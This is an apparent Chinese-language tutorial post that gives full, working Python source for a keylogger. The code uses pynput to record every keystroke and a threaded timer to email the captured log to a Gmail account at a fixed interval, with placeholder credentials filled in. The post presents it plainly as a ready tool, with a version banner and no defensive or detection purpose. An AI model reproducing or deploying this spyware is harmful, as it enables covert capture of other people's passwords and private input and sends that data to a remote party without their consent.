利用Python的pynput第三方模块实现键盘记录器
代码主要分为三个部分:
1. 利用Pynput的Keyboard拦截键盘的敲键
2. 将截获的敲键写入变量中以作后续的处理
3. 通过SMTPLIB模块将上述变量中的数据以邮件方式发送
from pynput import keyboard #pynput是第三方模块,需要pip install pynput进行安装 import threading #需要引入多线程模块,否则self.report()方法会夯住,这样listener就不能继续工作拦截键盘了 import smtplib from email.mime.text import MIMEText from email.header import Header class Keylogger: def __init__(self, username, password,interval=5): self.logs = "" #记录键盘keystrikes self.username = username #发送邮件的用户名 self.password = password #发送邮件的密码 self.interval = interval #调用多线程模块的Timer方法时的时间间隔,即多久执行一次Timer中定义的方法 def appenend_key(self,string): self.logs = self.logs + string def key_processer(self, key): try: current_key = key.char #对于一般的键盘字符,可通过key.char进行转换 except AttributeError: if key == keyboard.Key.space: #对于空格键,对其进行特殊判断 current_key = " " else: current_key = str(key) + " " #对于其他特殊键,因为没有key.char属性,直接转换 self.appenend_key(current_key) def send_email(self, result): message = MIMEText(result,'plain','utf-8') message['From'] = Header(self.username, 'utf-8') message['To'] = Header(self.username, 'utf-8') mail_server = smtplib.SMTP("smtp.gmail.com",587) mail_server.starttls() mail_server.login(self.username, self.password) mail_server.sendmail(self.username, self.username, message.as_string()) print("Successfully to send!") def report(self): self.send_email(self.logs) self.logs = "" #对于键盘记录发送邮件以后置空,以进入下一次的循环(Timer) timer = threading.Timer(self.interval, self.report) #调用多线程模块,Timer可以指定时间间隔执行相应的方法,也可以传递参数 timer.start() def start(self): with keyboard.Listener(on_press=self.key_processer) as listener: self.report() listener.join() if __name__ == "__main__": banner = """ **************************************** Keylogger By Jason Wong v1.0 **************************************** """ print(banner) my_keylogger = Keylogger('xxxxxxx@gmail.com', 'xxxxxxxx', 60) my_keylogger.start()
STRIVE FOR PROGRESS,NOT FOR PERFECTION